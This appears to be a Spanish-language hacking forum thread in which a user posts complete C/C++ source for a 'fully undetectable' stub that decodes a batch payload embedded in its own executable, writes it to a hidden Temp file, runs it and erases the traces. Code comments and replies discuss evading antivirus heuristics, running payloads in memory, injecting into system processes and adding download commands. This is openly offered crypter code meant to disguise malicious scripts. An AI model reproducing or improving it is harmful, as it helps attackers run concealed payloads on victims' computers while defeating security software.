[C/C++] Batch compiler FUD - Stub (Open Source)

Iniciado por hacker83, 27 Abril 2012, 11:09 AM

0 Miembros y 1 Visitante están viendo este tema.

hacker83

Bueno hace rato que no programa nada, y se me ocurrio hacer un simple batch compiler. Pero tenia ganas de hacer algo diferente como por ejemplo no ese simple compilador que lo guarda y lo ejecuta en modo oculto.

Este cripta el batch con el metodo TOR 13.
Espera que el batch termine de ejecutarce para eliminar rastros.  (sin usar DeleteFileA) ya que su heuristica es detectada por al menos 3 antivirus.
Sustituye el valor de %0 del batch por el valor de nuestro compilado, es decir que si compilamos un batch con el siguiente codigo.


Código (dos) [Seleccionar]

@echo off
copy /y %0 C:\copia.bat
exit


Lo que hara es copiarce el bat sin compilarce. (Me explico?)
A hora tiene la opcion de cambiar ese valor por el compilado por lo cual en ves de copiar el batch, copia el batch pero en exe. es decir Generado (de nuevo ja)

Bueno aca les dejo el source.

Código (cpp) [Seleccionar]

#include <windows.h>
#include <stdio.h>

/*
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//Batch stub - Incluye cryptacion tor 13
//Modulo de autocopia exe - no deja rastros.
//Neeco - Version 1.0
//FUD 0/42 - https://www.virustotal.com/file/204540f7def3a75fd4a8830a9c19031f5fd417b66e4c67d8527c510348c9327a/analysis/1335515677/
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdShow ) {

PROCESS_INFORMATION pi;
STARTUPINFO stinfo;
DWORD i, dwBytes;

char *a = "\"";
char *nuevo = (char*) GlobalAlloc (GPTR, 500 + MAX_PATH);
char *add = (char*) GlobalAlloc (GPTR, 250 );

stinfo.cb = sizeof ( STARTUPINFO );

char *appname = (char*) GlobalAlloc ( GPTR, MAX_PATH );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), appname, MAX_PATH );

HANDLE file = CreateFileA ( appname, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
DWORD size = GetFileSize ( file, 0 );

char *buffer = (char*) GlobalAlloc ( GPTR, size );
char *batch = (char*) GlobalAlloc ( GPTR, size );

ReadFile ( file, buffer, size, &dwBytes, 0 );
CloseHandle ( file );

//Buscamos el buffer
for (i = 0; i<=size; i++ ) {
if ( buffer[i] == '*' && buffer[i+1] == '+' && buffer[i+2] == '*' ) {
batch = buffer + (i+3);
break;
}
}

//Sabremos si tenemos EOF agregado
if ( batch[0] == 142 || batch[0] == 0x00 ) {
ExitProcess (0);
}

//Aplicamos la cryptacion TOR13
for ( i = 0; size-(i+3); i++ ) {
batch[i] = batch[i] - 13;
}

//FUNCION AppName change %0 -
int x, count = 0;
BOOL stac = FALSE;
for ( i = 0; i<=lstrlenA(buffer); i++ ) {
if ( buffer[i] == 37 && buffer[i+1] == 48 ) {
add = buffer + i + 2;
nuevo[i-1] = 34;

CopyMemory (&nuevo[0], &buffer[0], i-1);
CopyMemory (&nuevo[lstrlenA(nuevo)], &appname[0], lstrlenA(appname));
CopyMemory (&nuevo[lstrlenA(nuevo)],&a[0],1);
CopyMemory (&nuevo[lstrlenA(nuevo)], &add[0], lstrlenA(add));

stac = TRUE;
}
}

//Esta funcion la hacemos con WINAPI - Rango de detectabilidad heuristico : 20 %
//Con lib stdio : 2,0 # fstream - 0,0

LPSTR Dir = (LPSTR) GlobalAlloc ( GPTR, MAX_PATH);
GetWindowsDirectoryA ( Dir, MAX_PATH );

lstrcatA ( Dir, "\\Temp\\tA1xcp.bat" );

HANDLE File = CreateFileA ( Dir, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
if ( stac == FALSE ) {
WriteFile ( File, batch, size - (i+3), &dwBytes, 0 );
CloseHandle ( File );
} else {
WriteFile ( File, nuevo, size - (i+3) + lstrlenA(appname), &dwBytes, 0 );
CloseHandle ( File );
}

//'Lo creamos a escondidas.
SetFileAttributesA ( Dir, 0x1|0x2|0x4 );

//Abrimos el batch generado.
CreateProcess ( Dir, 0, 0, 0, FALSE, 0, 0, 0, &stinfo, &pi );

//Esperamos a que termine de ejecutarce
WaitForSingleObject ( pi.hProcess, INFINITE );
TerminateProcess ( pi.hProcess, 0 );

CloseHandle ( pi.hProcess );
CloseHandle ( pi.hThread );

//Borramos rastros de el.
SetFileAttributesA ( Dir, FILE_ATTRIBUTE_NORMAL );
//DeleteFileA ( Dir ); - Es detectada
remove ( Dir );

GlobalFree ( Dir );
GlobalFree ( appname );
GlobalFree ( nuevo ), GlobalFree ( add );
GlobalFree ( buffer ), GlobalFree ( batch );

return 0;
}



El compilador todavía no lo hice, pero no es nada difícil, para los que tienen algo de conocimiento en el lenguaje y maneja TOR13, lo hace enseguida.

Esta FUD / lo analice en virus total (si ya se no tendría que haberlo subido ahí)
0/42 - el link esta en el source. (link del scaneo online by virustotal.com)

Saludos - Cualquier duda critica o lo que sea solo comenten.
Gracias.

Karcrack

Sería mejor ejecutar el código del BATCH sin meterlo en el HD. Usando WinExec() por ejemplo... si concatenas las lineas con & puedes ejecutar un código BATCH tan complejo como necesites.
Yo haría otras mejoras, como leer la ruta desde el PEB y otras cositas, si me animo y tengo tiempo hago uno :P

Respecto al cifrado... no será ROT13?

Saludos >:D

hacker83

Cita de: Karcrack en 27 Abril 2012, 15:24 PM
Sería mejor ejecutar el código del BATCH sin meterlo en el HD. Usando WinExec() por ejemplo... si concatenas las lineas con & puedes ejecutar un código BATCH tan complejo como necesites.
Yo haría otras mejoras, como leer la ruta desde el PEB y otras cositas, si me animo y tengo tiempo hago uno :P

Respecto al cifrado... no será ROT13?

Saludos >:D

JA si disculpa me equivoque es ROT13.
Dale estaria bueno, si tambien podria usar Pipes para que no cree un archivo temporal asi como tambien inyectar el WinExec en otro proceso del sistema (Pero esto lo haria mas detectado).
Tampoco me puse a hacerle tantas cosas. solo estaba probando una manera diferente, pero me gustaria tal vez, hacer una buena utilidad, es decir. (ESTA)
pero que funcione bien. Se me habia ocurrido agregarles comandos como download, playsound, etc. todos sin necesidad de otros archivos, es decir buscar en el batch esos comandos escritos, y desde C/C++ (Stub) al ejecutar haga sus funciones con sus respectivos parametros.
Seria un honor si quisieras ayudar en el proyecto, por si no lo sabes Tu y [Zero]
Son como unos ejemplos a seguir jaja, es como una emocion  :xD